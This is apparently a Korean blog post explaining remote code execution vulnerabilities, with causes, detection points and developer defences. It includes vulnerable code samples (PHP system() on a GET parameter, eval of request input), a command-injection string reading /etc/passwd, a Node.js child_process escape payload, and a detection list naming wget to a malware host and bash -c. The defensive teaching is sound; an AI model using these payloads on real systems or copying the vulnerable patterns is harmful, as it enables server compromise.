반응형

**RCE(Remote Code Execution, 원격 코드 실행 취약점)**을 정리해줄게.
실무에서 가장 위험한 공격 중 하나라서 구조·예시·방어까지 확실히 이해해야 해.


🔥 1. RCE(Remote Code Execution) 개념

정의:
RCE는 공격자가 원격에서 서버에 임의의 코드를 실행할 수 있게 되는 치명적인 취약점을 말해.

쉽게 말하면:
👉 “공격자가 서버를 자기 컴퓨터처럼 명령을 내려서 조작하는 공격


🔹 2. 발생 원리

웹 애플리케이션이 아래 기능을 제공하는데 입력값 검증이 허술하면 발생:

  • OS Command 실행 기능 사용 (예: exec, system, shell_exec)
  • 사용자 입력을 코드로 처리하는 기능
  • 파일 업로드 후 서버에서 실행 가능
  • 템플릿 엔진 코드 실행 취약점

즉,

 
[사용자 입력][서버 명령 실행 로직][검증 미비] → RCE 발생

🔹 3. 실무 공격 예시

1) PHP에서 RCE 발생 예시

 
system($_GET['cmd']);

공격자 요청:

2) 시스템 명령 주입

 
ping 127.0.0.1; cat /etc/passwd

3) Node.js RCE 예시 (eval)

 
eval(req.body.input);

공격자 입력:

 
this.constructor.constructor("return process")().mainModule.require('child_process').exec('ls')

4) Python RCE (pickle, eval, os.system)

 
os.system(user_input)

🔹 4. 공격자가 할 수 있는 일

  • 서버 파일 읽기/수정/삭제
  • 데이터베이스 정보 탈취
  • 백도어 설치
  • 내부망 스캔 및 추가 공격
  • 랜섬웨어 실행
  • 서버 전체 장악(루트 권한 획득 가능)

즉 → 서버가 거의 완전히 점령당함


🔹 5. WAF / 보안관제 대응 포인트

✔ 1) 위험 패턴 탐지

아래 문자열 포함 요청 탐지/차단:

  • ;, &&, ||, |, $(), `command`
  • cat /etc/passwd
  • wget http://malware.com
  • bash -c
  • python -c
  • "cmd=", "system("

✔ 2) 우회 탐지

  • URL 인코딩: %3b, %26%26
  • Base64 인코딩된 명령
  • PowerShell 명령 인코딩

✔ 3) 파일 업로드 후 실행 탐지

  • 업로드 후 .php, .jsp, .asp 실행 요청 발생 시 알람

✔ 4) 이상 행위 모니터링

  • 웹 서버 계정이 비정상적인 시스템 파일 접근
  • 폭주하는 프로세스(spawn)
  • 웹서버가 외부로 파일 전송 시도

🔹 6. 개발 단계 방어

✔ 1) OS Command 직접 사용 금지

가능하면 사용하지 않는다.

✔ 2) Parameterized 방식으로 명령 실행

 
subprocess.run(["ping", "127.0.0.1"])

문자열 결합 금지.

✔ 3) 파일 업로드 디렉토리는 실행 불가로 설정

웹쉘 실행 차단.

✔ 4) 입력값 검증

  • 특수문자 제거
  • whitelist 기반 검증

✔ 5) 서버 권한 최소화

웹서버 계정을 root로 절대 실행하지 않는다.


🎯 한 문장 요약

RCE = 원격에서 서버 명령을 실행할 수 있게 되는 치명적 취약점으로, 공격자가 서버를 완전히 장악할 수 있으므로 입력 검증·권한 최소화·WAF 패턴 차단으로 필수적으로 막아야 한다.

반응형

+ Recent posts